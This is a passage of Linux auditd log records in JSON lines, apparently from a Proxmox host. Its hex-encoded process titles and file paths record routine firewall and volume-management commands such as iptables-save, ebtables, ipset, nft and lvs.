proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966085753,"@rawstring":"node=pve type=PATH msg=audit(1781966085.753:68384): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.234:64914): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966085748,"@rawstring":"node=pve type=PATH msg=audit(1781966085.748:68383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.226:64913): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966085748,"@rawstring":"node=pve type=PATH msg=audit(1781966085.748:68383): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.220:64912): proctitle=697073657400726573746F7265"} {"@timestamp":1781966085740,"@rawstring":"node=pve type=PATH msg=audit(1781966085.740:68382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.212:64911): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085740,"@rawstring":"node=pve type=PATH msg=audit(1781966085.740:68382): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275203,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.203:64910): proctitle=\"iptables-save\""} {"@timestamp":1781966085735,"@rawstring":"node=pve type=PATH msg=audit(1781966085.735:68381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.199:64909): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966085735,"@rawstring":"node=pve type=PATH msg=audit(1781966085.735:68381): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.191:64908): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966085728,"@rawstring":"node=pve type=PATH msg=audit(1781966085.728:68380): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.189:64907): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085728,"@rawstring":"node=pve type=PATH msg=audit(1781966085.728:68380): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275189,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.189:64906): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085720,"@rawstring":"node=pve type=PATH msg=audit(1781966085.720:68379): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275185,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.185:64905): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085720,"@rawstring":"node=pve type=PATH msg=audit(1781966085.720:68379): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275177,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.177:64904): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085713,"@rawstring":"node=pve type=PATH msg=audit(1781966085.713:68378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.170:64903): proctitle=\"iptables-save\""} {"@timestamp":1781966085713,"@rawstring":"node=pve type=PATH msg=audit(1781966085.713:68378): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.165:64902): proctitle=69707365740073617665"} {"@timestamp":1781966085706,"@rawstring":"node=pve type=PATH msg=audit(1781966085.706:68377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.154:64901): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966085706,"@rawstring":"node=pve type=PATH msg=audit(1781966085.706:68377): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965275144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965275.144:64900): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966085701,"@rawstring":"node=pve type=PATH msg=audit(1781966085.701:68376): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274489,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965274.489:64899): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966085701,"@rawstring":"node=pve type=PATH msg=audit(1781966085.701:68376): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965274456,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965274.456:64898): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966085698,"@rawstring":"node=pve type=PATH msg=audit(1781966085.698:68375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.392:64897): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085698,"@rawstring":"node=pve type=PATH msg=audit(1781966085.698:68375): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.392:64896): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=PATH msg=audit(1781966085.697:68374): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272392,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.392:64895): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=PATH msg=audit(1781966085.697:68374): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.382:64894): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085697,"@rawstring":"node=pve type=PATH msg=audit(1781966085.697:68373): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.382:64893): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085692,"@rawstring":"node=pve type=PATH msg=audit(1781966085.692:68372): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965272381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965272.381:64892): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085692,"@rawstring":"node=pve type=PATH msg=audit(1781966085.692:68372): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.377:64891): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085692,"@rawstring":"node=pve type=PATH msg=audit(1781966085.692:68372): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.377:64890): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085684,"@rawstring":"node=pve type=PATH msg=audit(1781966085.684:68371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.377:64889): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085684,"@rawstring":"node=pve type=PATH msg=audit(1781966085.684:68371): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.369:64888): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085674,"@rawstring":"node=pve type=PATH msg=audit(1781966085.674:68370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.369:64887): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085674,"@rawstring":"node=pve type=PATH msg=audit(1781966085.674:68370): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965267368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965267.368:64886): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966085669,"@rawstring":"node=pve type=PATH msg=audit(1781966085.669:68369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266129,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.129:64885): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966085669,"@rawstring":"node=pve type=PATH msg=audit(1781966085.669:68369): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.126:64884): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966085660,"@rawstring":"node=pve type=PATH msg=audit(1781966085.660:68368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.125:64883): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085660,"@rawstring":"node=pve type=PATH msg=audit(1781966085.660:68368): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.125:64882): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085650,"@rawstring":"node=pve type=PATH msg=audit(1781966085.650:68367): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.120:64881): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966085650,"@rawstring":"node=pve type=PATH msg=audit(1781966085.650:68367): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266115,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.115:64880): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PATH msg=audit(1781966085.328:68366): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266108,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.108:64879): proctitle=\"iptables-save\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PATH msg=audit(1781966085.328:68366): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.102:64878): proctitle=\"ip6tables-save\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PATH msg=audit(1781966085.328:68365): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.094:64877): proctitle=\"iptables-save\""} {"@timestamp":1781966085328,"@rawstring":"node=pve type=PATH msg=audit(1781966085.328:68364): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.091:64876): proctitle=\"ebtables-restore\""} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PATH msg=audit(1781966085.316:68363): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266086,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.086:64875): proctitle=\"ebtables-restore\""} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PATH msg=audit(1781966085.316:68363): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.082:64874): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PATH msg=audit(1781966085.316:68362): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.077:64873): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966085316,"@rawstring":"node=pve type=PATH msg=audit(1781966085.316:68361): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.071:64872): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966084537,"@rawstring":"node=pve type=PATH msg=audit(1781966084.537:68360): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.065:64871): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966084537,"@rawstring":"node=pve type=PATH msg=audit(1781966084.537:68360): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.060:64870): proctitle=697073657400726573746F7265"} {"@timestamp":1781966084508,"@rawstring":"node=pve type=PATH msg=audit(1781966084.508:68359): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.052:64869): proctitle=\"ip6tables-save\""} {"@timestamp":1781966084508,"@rawstring":"node=pve type=PATH msg=audit(1781966084.508:68359): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.046:64868): proctitle=\"iptables-save\""} {"@timestamp":1781965266042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.042:64867): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PATH msg=audit(1781966081.098:68358): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266039,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.039:64866): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PATH msg=audit(1781966081.098:68358): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.036:64865): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PATH msg=audit(1781966081.098:68357): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266036,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.036:64864): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965266032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.032:64863): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966081098,"@rawstring":"node=pve type=PATH msg=audit(1781966081.098:68357): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.024:64862): proctitle=\"ip6tables-save\""} {"@timestamp":1781966081096,"@rawstring":"node=pve type=PATH msg=audit(1781966081.096:68356): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.017:64861): proctitle=\"iptables-save\""} {"@timestamp":1781966081096,"@rawstring":"node=pve type=PATH msg=audit(1781966081.096:68356): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.012:64860): proctitle=69707365740073617665"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PATH msg=audit(1781966080.309:68355): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965266004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965266.004:64859): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PATH msg=audit(1781966080.309:68355): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965265996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965265.996:64858): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PATH msg=audit(1781966080.309:68354): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264368,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965264.368:64857): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966080309,"@rawstring":"node=pve type=PATH msg=audit(1781966080.309:68353): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965264342,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965264.342:64856): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PATH msg=audit(1781966080.303:68352): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965262358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965262.358:64855): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966080303,"@rawstring":"node=pve type=PATH msg=audit(1781966080.303:68352): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 